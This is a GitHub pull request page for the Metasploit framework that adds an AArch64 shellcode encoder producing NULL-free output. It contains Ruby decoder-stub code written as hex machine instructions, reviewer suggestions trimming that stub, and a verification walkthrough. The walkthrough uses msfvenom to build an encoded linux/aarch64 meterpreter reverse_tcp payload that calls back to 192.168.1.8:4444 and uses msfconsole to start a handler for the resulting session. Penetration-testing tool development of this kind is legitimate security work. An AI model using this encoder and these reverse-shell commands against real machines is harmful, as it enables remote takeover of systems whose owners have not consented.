-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Add nonnull encoder aarch64 #19708
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Add nonnull encoder aarch64 #19708
Conversation
modules/encoders/aarch64/nonnull.rb
Outdated
def encode_block(state, buf) | ||
enc_pl = '_' * buf.length * 2 # encoding nibbles to chars -> length will be doubled | ||
|
||
for i in 0...buf.length do |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's more "ruby like" to use something like each_with_index do |i, c|
instead of using a classic for loop
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ok, I fixed that.
return 'jiL0' + # adr x10, 0x98D2D - calc addr of encoded shellcode | ||
"JaB\xf1" + # subs x10, x10, #0x98, lsl #12 | ||
"\x4a\x95\x34\xf1" + # subs x10, x10, #0xd25 | ||
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions | ||
'sBSj' + # ands w19, w19, w19, lsr #16 - clear w19 | ||
'sBSj' + # ands w19, w19, w19, lsr #16 | ||
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2 | ||
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations | ||
'RQA9' + # ldrb w18, [x10, #84] - load first byte | ||
'YUA9' + # ldrb w25, [x10, #85] - load second byte | ||
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2 | ||
"Je0\xf1" + # subs x10, x10, #0xc19 | ||
"\x52\x02\x04\x11" + # add w18, w18, #0x100 - sub 0x41 (upper nibble) | ||
"\x52\x06\x05\x51" + # sub w18, w18, #0x141 | ||
"\x39\x03\x04\x11" + # add w25, w25, #0x100 - sub 0x41 (lower nibble) | ||
"\x39\x07\x05\x51" + # sub w25, w25, #0x141 | ||
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte | ||
"\x79\x51\x01\x39" + # strb w25, [x11, #84] - store original byte | ||
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index | ||
"ke0\xf1" + # subs x11, x11, #0xc19 | ||
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter) | ||
'Bd0q' + # subs w2, w2, #0xc19 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I trimmed some of the instructions and reduced the decoder to less bytes:
return 'jiL0' + # adr x10, 0x98D2D - calc addr of encoded shellcode | |
"JaB\xf1" + # subs x10, x10, #0x98, lsl #12 | |
"\x4a\x95\x34\xf1" + # subs x10, x10, #0xd25 | |
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions | |
'sBSj' + # ands w19, w19, w19, lsr #16 - clear w19 | |
'sBSj' + # ands w19, w19, w19, lsr #16 | |
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2 | |
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations | |
'RQA9' + # ldrb w18, [x10, #84] - load first byte | |
'YUA9' + # ldrb w25, [x10, #85] - load second byte | |
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2 | |
"Je0\xf1" + # subs x10, x10, #0xc19 | |
"\x52\x02\x04\x11" + # add w18, w18, #0x100 - sub 0x41 (upper nibble) | |
"\x52\x06\x05\x51" + # sub w18, w18, #0x141 | |
"\x39\x03\x04\x11" + # add w25, w25, #0x100 - sub 0x41 (lower nibble) | |
"\x39\x07\x05\x51" + # sub w25, w25, #0x141 | |
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte | |
"\x79\x51\x01\x39" + # strb w25, [x11, #84] - store original byte | |
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index | |
"ke0\xf1" + # subs x11, x11, #0xc19 | |
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter) | |
'Bd0q' + # subs w2, w2, #0xc19 | |
return "\x2a\xf8\xff\x70" + # adr x10, -0xf9 - calc addr of encoded shellcode | |
"\x4b\x01\x1f\xca" + # eor x11, x10, xzr - start of encoded shellcode becomes start of decoded instructions | |
"\x6b\xe5\x03\xb1" + # subs x11, x11, -0xf9 | |
"\x73\x02\x13\x4a" + # ands w19, w19, w19, lsr #16 - clear w19 | |
'b2Sj' + # ands w2, w19, w19, lsr #12 - clear w2 | |
while_condition + # loop: tbnz w2, #<bit>, #0x40 - branch to code after n-iterations | |
"\x52\x15\x45\x39" + # ldrb w18, [x10, #0x145] - load first byte | |
"\x59\x19\x45\x39" + # ldrb w25, [x10, #0x146] - load second byte | |
"Jm0\xb1" + # adds x10, x10, #0xc1b - encoded_buf_index += 2 | |
"Je0\xf1" + # subs x10, x10, #0xc19 | |
"\x52\x06\x01\x71" + # add w18, w18, -0x41 - sub 0x41 (upper nibble) | |
"\x39\x07\x01\x71" + # add w25, w25, -0x41 - sub 0x41 (lower nibble) | |
"\x39\x13\x12\x2a" + # orr w25, w25, w18, lsl #4 - assemble the nibbles to the original byte | |
"\x79\x31\x01\x39" + # strb w25, [x11, #0x4c] - store original byte | |
"ki0\xb1" + # adds x11, x11, #0xc1a - x11++ decoded payload index | |
"ke0\xf1" + # subs x11, x11, #0xc19 | |
'Bh01' + # adds w2, w2, #0xc1a - w2++ (loop counter) | |
'Bd0q' + # subs w2, w2, #0xc19 |
However, there's need to adjust offsets now, but that leads me to additional issue and that is portability. In the current state, only limited payload size is supported which is not so great for decoder. Approach would be to prepend payload size to the payload itself, encode that and in the decoder, add a few instructions to decode length and load it. Then you can use it as variable for length check. That should be more portable. Additionally, it seems like you're focusing on using ASCII characters, which is fine, but if your goal is to avoid null characters, you can omit that condition.
Hi @A5t4t1ne, just checking in, if you would need any assistance with implementing requested changes, let me know. I think it's a good idea worth implementing, so we would definitely loved to have it as encoder. |
Hi @msutovsky-r7, first of all thanks for the reply and sorry for not answering! |
This encoder is capable of encoding AArch64 shell code into output that is guaranteed to contain no NULL bytes. While the encoded part of the shell code consists entirely of uppercase English characters, the decoder logic includes some non-printable characters (but no NULL bytes).
The decoding is in-place, so as long as the stack space where the payload is placed on the target machine is writable and executable, the decoding and execution of the shell code should work fine.
Verification
The following is an example of how to achieve a meterpreter session without a specific exploit. The vulnerable application in this example reads a string from a file (here a file called
payload
) and executes it as if it were machine instructions. The source code is shown below and was compiled withgcc -o vuln_app vuln_app.c
.On the attacker machine:
msfvenom -p linux/aarch64/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -e aarch64/nonnull -o payload
payload
to target machinemsfconsole
use exploit/multi/handler
set LHOST 0.0.0.0
set LPORT 4444
set payload linux/aarch64/meterpreter/reverse_tcp
set ExitOnSession false
exploit -j
On the target AArch64 machine (for source code of example vulnerable app see below):
10. execute
./vuln_app
Options
none
Scenario
Of course everything after
Started reverse TCP handler
will show up after the payload was executed on the target system.Limitation
Currently the maximum payload size is 4126 Bytes
Example vulnerable application
vuln_app.c
:gcc -o vuln_app vuln_app.c
on target machine. GCC version: 12.2.0./vuln_app